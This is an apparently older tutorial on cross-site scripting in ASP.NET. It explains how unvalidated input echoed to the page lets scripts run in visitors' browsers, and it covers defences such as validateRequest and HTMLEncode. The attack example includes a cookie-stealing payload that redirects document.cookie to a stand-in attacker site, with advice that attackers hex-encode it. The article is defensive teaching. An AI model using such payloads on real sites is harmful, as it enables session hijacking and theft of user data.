Cross-site Scripting (XSS) attacks enable an attacker to be able to hijack
information from visitors of your site by injecting client-side scripting into
your Web application. For example say you're hosting a comments form, allowing
site users to come in and enter in information directly via a Web form, and then
output the data to the browser in real time. This type of functionality is
common in guest books, and forum applications One problem with it though is if
you don't do some validation on the input, you could potentially allow your site
to become a tool for someone who intends to do some malicious activity, like
hijacking cookies, or another user's session information.
Example of an Attack
Let's provide a basic example of an XSS type attack. So for example you have
a search form that accepts input for search criteria. If the search form does
not provide any input validation, then a person entering in their criteria could
add some JavaScript, and have that JavaScript execute in the context of another
users browser. For example, say we have a textbox control in our application,
and someone enters in some JavaScript into the control, like so:
<script>alert('Hello World');</script>
Now of course in this example, not much damage will occur with something like
this, this is just for the sake of argument.
If you do not provide some validation of the input and output the content
directly to the browser, for example:
<asp:Label id="searchTerms"
runat="server"></asp:Label>
Then in the code behind do something like this:
searchTerms.Text = txtKeywords.Text
Then the JavaScript entered into the textbox control will be directly
outputted to the browser page, and a message box will appear with the "Hello
World" text.
So you may be asking yourself, so what the attacker is just outputting text
to themselves, how is this going to hurt my app?
Consider this, many application make use of query strings to pass data to
their applications, this is especially so with search engines. So if you have
the following code to output a request parameter directly to the browser like
so:
searchTerms.Text =
Request.QueryString("keywords")
Then the potential attacker sends a link to someone with the following URL:
http://www.yoursite.com/yourapp.aspx?keywords=<script>alert('hello
world')</script>, and then place this URL in the href value and then displays
some other text to the user. The user could click on the link, and then your
application would display the client side script and subsequently execute in the
user's browser. So even though the user may trust your site, your site could
unknowingly be used to send information about your user to someone else who
shouldn't be getting it. This information could be cookies from the user's
session.
Other ways an attacker will hide this information is to encode the query
string value as HEX characters, and then send cookie information to a script
located on their server. Cookie information can be hijacked simply by sending
document.cookie to another script. For example:
http://www.yoursite.com/yourapp.aspx?keywords=<script>document.location='http://www.attackersite.com/somescript.aspx?value='
+ document.cookie</script>. This then results in your application's user session
being sent to another site.
As mentioned, most attackers will hide the query string data as a Hex value
in order not to be too obvious to the user. You should filter out all input to
ensure your site provides a safe experience and secures your user data from
being accessed from unwanted parties.
Securing Your Code
So how do you as a developer prevent this type of an attack? First off you
should always validate input and never output it directly to the browser. A form
of protection that ASP.NET 1.1 provides is page validation. This is done by
adding a ValidateRequest attribute to the page or in the web.config. By default
ValidateRequest is set to true to ensure secure code. Validation can occur at a
page level, for example:
<%@ Page ... validateRequest="true" %>
Or by default in the web.config:
<system.web>
<pages validateRequest="true" />
</system.web>
With request validation in place, if you were to have the code in the above
examples in place, and someone were to enter in script into your app, a similar
error to the one below would be displayed.
Server Error in '/xssapp' Application.
--------------------------------------------------------------------------------
A potentially dangerous Request.Form value was detected from the client (searchTerms="<script>").
Description: Request Validation has detected a potentially dangerous
client input value, and
processing of the request has been aborted. This value may indicate an
attempt to compromise
the security of your application, such as a cross-site scripting attack.
You can disable request
validation by setting validateRequest=false in the Page directive or in
the configuration section.
However, it is strongly recommended that your application explicitly check
all inputs in this case.
Exception Details: System.Web.HttpRequestValidationException: A
potentially dangerous
Request.Form value was detected from the client (searchTerms="<script>").
ValidateRequest will check for any kind of script or html characters and
throw an error, in some cases you may need to accept input such as HTML and
output that to the browser, like in content management systems. In some cases
you may need to set the ValidateRequest value to false, but this should only be
done at a page level, in order not to reduce the security of your ASP.NET
application more than what is needed for your application.
One method ASP.NET provides is HTTPUtility.HTMLEncode, you may remember
Server.HTMLEncode from ASP. This method will translate the text to HTML encoded
values, for example a ">" sign would become ">" and that would be sent to the
browser which would just display harmless text to the user. Just ensure you
check the values being outputted and try testing your application by simulating
an XSS attack.
References:
Adding Cross-site Scripting Protection in ASP.NET 1.0
By: Patrick Santry, Microsoft MVP (ASP/ASP.NET), developer of this site, author of books on Web technologies, and member of the DotNetNuke core development team. If you're interested in the services provided by Patrick, visit his company Website at Santry.com.